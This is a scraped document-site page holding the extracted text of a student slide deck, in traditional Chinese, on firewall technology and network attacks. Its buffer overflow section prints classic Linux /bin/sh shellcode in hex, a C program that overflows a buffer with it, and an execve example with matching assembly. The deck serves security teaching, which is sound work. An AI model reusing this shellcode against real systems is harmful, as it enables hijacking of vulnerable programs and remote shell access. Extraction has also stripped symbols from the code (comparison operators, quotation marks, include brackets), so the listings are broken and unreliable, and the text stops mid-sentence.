- 1、本文档共25页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
网路攻击之防火墙技术探讨.ppt
網路攻擊手法防火牆 課程:系統安全 資訊三乙 許庭銓、梁詠鈞 前言 由於Internet的迅速發展,帶給人們生活非常多的好處,但是伴隨而來的網路安全問題, 使用防火牆是現在大部分採取的方式,但是防火牆是否真的能夠對於不同的攻擊方式能夠有適當的防禦措施 防火牆基本分類 封包過濾防火牆(傳輸層) 檢測狀態防火牆 應用程式代理防火牆 NAT 狀態監測常見方式 一個防火牆接收到一個初始化TCP連接的SYN封包,將被規則庫檢查 一個RST數據封包發送到遠端的電腦。如果被接受,那麼本次會話被記錄到狀態監測表裡 之後的封包(沒有帶有一個SYN標誌)就和該狀態監測表的內容進行比較,只有在SYN封包時才和規則庫比較 TCP連接監控的工作模式 防火牆接收到用戶端SYN連結請求時,在Local建立對該連結的監控表 防火牆將其請求轉發至服務端 服務端應該連接請求返回SYN/ACK,並更新與該連接相關聯的監控表 防火牆將該SYN/ACK轉發至用戶端 防火牆發送ACK至服務端,同時服務端中TCP Backlog該連接的監控表項目被移出 判斷連接請求是否合法 開始TCP傳輸過程 緩衝區溢出攻擊 何謂溢出攻擊 攻擊者在網上搜尋可以進行溢出攻擊的漏洞 向程式的緩衝區寫入超出其長度的內容,造成緩衝區的溢出 讓受攻擊的程式能去執行在Buffer中被改過的惡意指令(ShellCode) 進一步取得其他程式或系統的控制權 屬於應用層的攻擊,防火牆較難防範 攻擊步驟說明 執行ShellCode攻擊,使受害者的程序溢出 在受害者電腦執行類似telnet 服務器的遠程Shell程式 利用遠程Shell跟攻擊者電腦取得連接 進一步操作受害者電腦,植入木馬…等等 惡意攻擊程式,例:Exploit 何謂shellcode Shellcode 是一種由組合語言(assembly language)撰寫成,經由組譯器(assembler). 翻譯成機械語言(machine code),通常來說在UNIX 下是執行一個/bin/sh 的. shell ShellCode範例 (C++程式碼) char shellcode[] = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; } Linux中開啟Shell (C++程式碼) #include stddef.h main() { char *name[2]; name[0]=/bin/sh; name[1]=NULL; execve(name[0],name,NULL); } (組合語言碼) leal string,string_addrmovl $0x0,null_addrmovl $0xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0x80string db /bin/sh,0string_addr dd 0null_addr dd 0 (ShellCode) \xeb\x18\x5e\x89\x76\x08\x31\xc0 \x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c \xcd\x80\xe8\xec\xff\xff\xff/bin/sh 防火牆的防範策略 單獨開放埠口 使用應用層防火牆系統 使用IDS功能的防火牆系統 1. 單獨開放埠口 只開放需要提供的埠口,對於不需要提供服務的埠口使用過濾策略。 例如,需要保護一台存在WebDAV缺陷的WEB伺服器,只要在這台WEB伺服器的前端防火牆中加入一個「只允許其他機器訪問此電腦的TCP80埠口」的封包過濾
文档评论(0)